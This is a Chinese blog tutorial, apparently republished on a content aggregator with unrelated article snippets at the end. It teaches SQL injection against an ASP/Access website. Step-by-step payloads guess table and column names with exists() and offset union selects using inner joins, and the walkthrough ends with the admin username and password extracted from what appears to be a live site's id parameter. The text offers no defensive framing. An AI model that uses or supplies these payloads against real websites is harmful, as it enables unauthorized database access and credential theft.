web-Access注入

news2024/11/25 20:53:50

看到网站上面有asp的就要联想到access数据库

方法一:

1.判断出整型注入

?id=1513 and 1=2

2.判断出列数为22列

?id=1513 order by 22

3.猜表名

回显正常说明存在这个表,回显不正常的话说明这个表就是不存在的。这里猜到表名为admin

?id=1513 and exists(select * from admin)

4.猜字段

回显正常说明存在这个字段在admin表下

 ?id=1513 and exists(select admin from admin)-

?id=1513 and exists(select password from admin)

5.看数据的回显位置

?id=1513 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

在页面上面的话,3和5是回显点

 查看页面源代码,查看下隐藏的回显位置,可以看到:3、9、13、15 都可以正常回显

6.读取字段下的数据

直接在回显点上写上我们猜出来的字段名,查看回显就可以

?id=1513 and 1=2 union select 1,2,admin,4,5,6,7,8,password,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

方法二:偏移注入

(此方法适用于猜出表名,猜不出字段名的情况)

知识点:

        exist()函数:用于检查子查询是否至少会返回一行数据,该子查询实际上并不返回任何数据,而是返回值True或False。

        as关键字:用于起别名,可以为表起别名,也可以为字段起别名(as关键字可省略)

        表1 inner join 表2 on 筛选条件 :该关键字用于将表1与表2做笛卡尔积,然后根据on后面的条件进行筛选。

        后面payload中的:admin as a inner join admin as b on a.id=b.id 的目的其实就是为了增加一张表,占用掉后面的字段,让起向前移动要查询表所占字段。从而是要查询的字段下的数据到达可回显的位置。就比如admin表有6个字段,就会向前在占用6个字段,一共占用12个字段。

        top n 关键字:作用是使查询结果只显示前n条记录

联合查询前面(union select后面)所要补充的字段数 = 当前表的字段数 - 目标表的字段数 x N(N=1,2…)

1.判断出整型注入

?id=1513 and 1=2

 2.判断出列数为22列

?id=1513 order by 22

3.看数据的回显位置

?id=1513 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

4..判断admin的字段数

?id=1513 and exists(select * from admin order by 6)

或者

?id=1513 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,admin.* from admin

#当前表总共是22列,admin在17的位置的时候回显是正常的,说明了admin表的字段数为22-16=6列

跟之前一样,回显正常就代表我们的猜测正确

5.开始偏移注入

一级偏移注入:

联合查询需要在前面补充的字段数:22-1*6=16

?id=1513 union select top 1 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, admin.* from admin

 此时并没有爆出任何的数据。因为回显位置为3,5,9,13,此时admin表的字段排在17后面,当然爆不出数据。开始尝试二级偏移注入

二级偏移注入:

方法①:

联合查询需要在前面补充的字段数:22-2*6=10

union select top 1 1,2,3,4,5,6,7,8,9,10,admin.*,17,18,19,20,21,22 from admin

这个时候在网页爆出了时间的数据

 查看下页面的源代码,可以看到爆出来密码。此时,时间和密码的回显位置分别是在13和15的位置上爆出来的。

方法 ②:

?id=1513 union select 1,2,3,4,5,6,7,8,9,10, * from (admin as a inner join admin as b on a.id=b.id)

        1.这个做法是将admin这张表拆分成admin两张表,然后通过inner join将表的id相同的内容展示出来。因为a表和b表都是admin表,所以id肯定是相同的。(id可以换成其他字段,但是一定得存在。一般admin表都存在id字段)

        2.因为增加了一张admin表,所以还要再减去六个字段的位置,两张表总共占12个字段的位置。就原来的1,2,3,4,5,6,7,8,9,10,*,17,18,19,20,21,22 变成1,2,3,4,5,6,7,8,9,10,*。

        3.通过判断知道,admin表的第三个字段是密码,第五个字段是时间

此时,还是没有爆出我们所需要的用户名,进行3级偏移

3级偏移:

加表偏移

?id=1513 union select top 1 1,2,3,4, * from((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)

 或者

直接偏移

?id=1513 union select top 1 1,2,3,4, admin.* ,11,12,13,14,15,16,17,18,19,20,21,22 from admin

又爆出时间,因为偏移完之后,刚好又是时间的字段在回显位置9上。

此时也无法进行4级偏移。

原因:联合查询补充字段数=当前表的字段数-目标表的字段数 x 4 ==> 22-6x4=-2<0,即:会造成union关键字之前的select查询字段数的数量 < union关键字之后的字段数量,从而导致查询失败。

这个时候换一种新姿势,让数据往后位移一个字段。若猜解出1个字段名,那么我们就可以让数据向后移动1个字段数,若猜解出2个字段名,那么我们就可以让数据向后移动2个字段数,以此类推。(不过这里所需要猜解的字段名不需要是我们想要查找的字段名,只要是admin表中的字段名均可)

调整payload:

?id=1513 union select top 1 1,2,3,4,5,6,7,8,9,10,b.id, * from (admin a inner join admin b on a.id=b.id)

这里有一个需要注意的点是,只能用b表的字段,具体是什么原因不清楚。

可以看到在源代码中爆出了admin字段的用户名admin

 ?id=1513 union select top 1 1,2,3,4,5,6,7,8,9,10,b.password,b.id,b.admin, * from (admin a inner join admin b on a.id=b.id)

要是可以多猜到几个字段的话,也可以直接在页面15的位置显示出来admin字段用户名。

所以可以判断出admin用户名在password前一个字段。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/780851.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

详解HTTP协议(一)

1、HTTP概述 1、什么是HTTP 超文本传输协议&#xff08;Hyper Text Transfer Protocol&#xff0c;HTTP&#xff09; HTTP是一个基于请求与响应的、无状态的应用层协议&#xff0c;用于在两点之间传输超文本数据&#xff0c;常基于TCP/IP协议传输数据。 设计HTTP的初衷是为…

vmware17 开启虚拟机虚拟化

背景 我们需要在虚拟机里创建虚拟机。 实体机需要再bios里设置硬件设备的虚拟化 vmware软件可以在软件里设置虚拟化 设置虚拟化 现在我们看到是不能设置的&#xff0c;那是因为我现在开着这个虚拟机系统&#xff0c; 需要先关闭&#xff0c;才能对他进行设置。

【ACM】—蓝桥杯大一暑期集训Day5

&#x1f680;欢迎来到本文&#x1f680; &#x1f349;个人简介&#xff1a;陈童学哦&#xff0c;目前正在学习C/C、Java、算法等方向&#xff0c;一个正在慢慢前行的普通人。 &#x1f3c0;系列专栏&#xff1a;陈童学的日记 &#x1f4a1;其他专栏&#xff1a;CSTL&#xff…

【Hypermesh】TetraMesh Panel 常用选项详解

我的主页&#xff1a; 技术邻&#xff1a;小铭的ABAQUS学习的技术邻主页博客园 : HF_SO4的主页哔哩哔哩&#xff1a;小铭的ABAQUS学习的个人空间csdn&#xff1a;qgm1702 博客园文章链接&#xff1a; https://www.cnblogs.com/aksoam/p/17575322.html 结合Hypermesh 2020 帮…

Cesium态势标绘专题-辅助文件

本专题没有废话,只有代码,撸! 提示内容封装Tooltip.ts /** 封装提示内容方法* @Author: Wang jianLei* @Date: 2023-01-17 14:56:53* @Last Modified by: jianlei wang* @Last Modified time: 2023-05-19 17:33:37*/ import CreateRemindertip from ./ReminderTip;const T…

Spring-缓存初步认识

Spring-缓存 简单介绍 缓存是一种介于数据永久存储介质和数据应用之间的数据临时存储介质缓存有效提高读取速度&#xff0c;加速查询效率 spring使用缓存方式 添加依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring…

【1++的C++初阶】之list

&#x1f44d;作者主页&#xff1a;进击的1 &#x1f929; 专栏链接&#xff1a;【1的C初阶】 文章目录 一&#xff0c;什么是list二&#xff0c;构造与析构2.1 结点结构2.2 链表结构2.3 迭代器结构 三&#xff0c;部分重要接口的作用及其实现3.1 迭代器相关的接口3.2 list相关…

uniapp 微信小程序 Picker下拉列表数据回显问题

效果图&#xff1a; 1、template <template><view class"items select-box"><view class"items-text">品牌型号</view><picker change"bindBrandType" :value"brandIndex" :range"brandList"…

线性表之链表

1、链表概述 链表是一种物理存储结构上非连续、非顺序的存储结构&#xff0c;数据元素的逻辑顺序是通过链表中的指针链接次序实现的。 顺序表的存储位置可以用一个简单直观的公式表示&#xff0c;它可以随机存取表中任意一个元素&#xff0c;但插入和删除需要移动大量元素。链式…

【多线程】Synchronize关键字之对象锁和类锁

目录 类锁和对象锁的区别 类锁 对象锁 测试用例 1.m1()和m2()方法都加锁【都为非静态&#xff0c;都加锁互斥执行】 2.m1()加锁&#xff0c;m2()不加锁【都为非静态&#xff0c;互不影响】 3.m3()和m4()都加锁【都为静态&#xff0c;互斥】 4.m3()加锁&#xff0c;m4()不…

WPF快速开发(2):图标库知识点

文章目录 前言知识点windows资源Style:样式Setter:属性继承关系 Trigger:触发器 WPF层级划分数据绑定声明数据上下文绑定数据模板 前言 图标资源下载 iconfont 知识点 windows资源 Window.Resources&#xff1a;资源位置声明X:Key&#xff1a;资源Id&#xff0c;用于前端的…

ARM DAY3 点亮三盏灯

1.汇编代码 .text .global _start _start: //RCC初始化 RCC_INIT://设置GPIOE组使能ldr r0,0x50000A28ldr r1,[r0]orr r1,r1,#(0x1<<4)str r1,[r0]//设置GPIOF组使能 ldr r0,0x50000A28ldr r1,[r0]orr r1,r1,#(0x1<<5)str r1,[r0]//LED1灯初始化 LED1_INIT://设置…

WebLLM项目:在浏览器中运行LLM聊天机器人

大家好&#xff0c;基于LLM的聊天机器人可以通过前端访问&#xff0c;而且它们涉及到大量且昂贵的服务器端API调用。但如果可以让LLM完全在浏览器中运行——利用底层系统的计算能力呢&#xff1f;这样&#xff0c;LLM的全部功能都将在客户端可用——无需担心服务器的可用性、基…

算法竞赛入门【码蹄集新手村600题】(MT1020-1040)

算法竞赛入门【码蹄集新手村600题】(MT1020-1040&#xff09; 目录MT1021 %f格式符MT1022 小数、指数MT1023 进制乱炖MT1024 进制形式MT1025 八、十六进制MT1026 合并MT1027 整数逆序MT1028 四位数逆序MT1029 位数MT1030 最大公约数MT1031 最简分数MT1032 最小公倍数MT1033 多项…

LeetCode[327]区间和的个数

难度&#xff1a;Hard 题目&#xff1a; 给你一个整数数组 nums 以及两个整数 lower 和 upper 。求数组中&#xff0c;值位于范围 [lower, upper] &#xff08;包含 lower 和 upper&#xff09;之内的 区间和的个数 。 区间和 S(i, j) 表示在 nums 中&#xff0c;位置从 i 到 …

一文了解UML

目录 1 什么是UML? 2 UML视图&#xff08;UML View&#xff09; 2.1 用户视图&#xff08;Users View&#xff09; 2.2 结构视图&#xff08;Structural Views&#xff09; 2.3 行为视图&#xff08;Behavioral Views&#xff09; 2.4 环境视图&#xff08;Environmenta…

Vc - Qt - 自定义ComboBox

示例代码创建了一个名为ComboBoxWidget的自定义QWidget类&#xff0c;并在initUI方法中创建了一个垂直布局。然后将一个只读的QLineEdit和一个QPushButton添加到布局中。当按钮被点击时&#xff0c;会调用showMenu方法&#xff0c;该方法创建一个QMenu并添加选项。每个选项连接…

vite打包性能优化以及填坑

目录 前言 项目优化前 分析 优化 拆分包 去除debugger CDN 加速 按需导入 文件压缩 图片压缩 viteImagemin报错 填坑 坑1 坑2 总结 配置 前言 最近在使用 Vite4.0 构建一个中型前端项目的过程中&#xff0c;遇到了一些坑&#xff0c;也做了一些项目在构建生产环…

RepViT:从ViT的角度重新审视mobile CNN

文章目录 RepViT: Revisiting Mobile CNN From ViT Perspective摘要本文方法代码实验结果 RepViT: Revisiting Mobile CNN From ViT Perspective 摘要 近年来&#xff0c;与轻量级卷积神经网络(cnn)相比&#xff0c;轻量级视觉变压器(ViTs)在资源受限的移动设备上表现出了更高…

JVM系统优化实践(21):GC生产环境案例(四)

您好&#xff0c;这里是「码农镖局」CSDN博客&#xff0c;欢迎您来&#xff0c;欢迎您再来&#xff5e; 前面说了一般应用的OOM情况&#xff0c;但是OOM不知发生在应用层&#xff0c;有时候专门负责运行Java的Tomcat也会偶尔罢工一下&#xff0c;抛出OOM异常。因为Tomcat本身也…